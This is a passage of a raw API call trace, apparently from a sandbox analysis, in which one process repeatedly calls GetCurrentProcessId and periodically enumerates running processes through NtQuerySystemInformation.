GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.787] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.788] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.789] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.790] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0280.791] GetCurrentProcessId () returned 0x10c0 [0281.299] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1df38) returned 0x0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.304] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.305] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.320] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.321] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.322] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.323] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.324] GetCurrentProcessId () returned 0x10c0 [0281.846] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dfd8) returned 0x0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.854] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.855] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.856] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.857] GetCurrentProcessId () returned 0x10c0 [0281.858] GetCurrentProcessId () returned 0x10c0 [0281.858] GetCurrentProcessId () returned 0x10c0 [0281.858] GetCurrentProcessId () returned 0x10c0 [0281.858] GetCurrentProcessId () returned 0x10c0 [0281.858] GetCurrentProcessId () returned 0x10c0 [0281.858] GetCurrentProcessId () returned 0x10c0 [0281.858] GetCurrentProcessId () returned 0x10c0 [0282.389] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dfd8) returned 0x0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.397] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.398] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.399] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.400] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.401] GetCurrentProcessId () returned 0x10c0 [0282.925] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dfd8) returned 0x0 [0282.926] GetCurrentProcessId () returned 0x10c0 [0282.926] GetCurrentProcessId () returned 0x10c0 [0282.926] GetCurrentProcessId () returned 0x10c0 [0282.926] GetCurrentProcessId () returned 0x10c0 [0282.926] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.927] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.928] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.929] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0282.930] GetCurrentProcessId () returned 0x10c0 [0283.540] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: 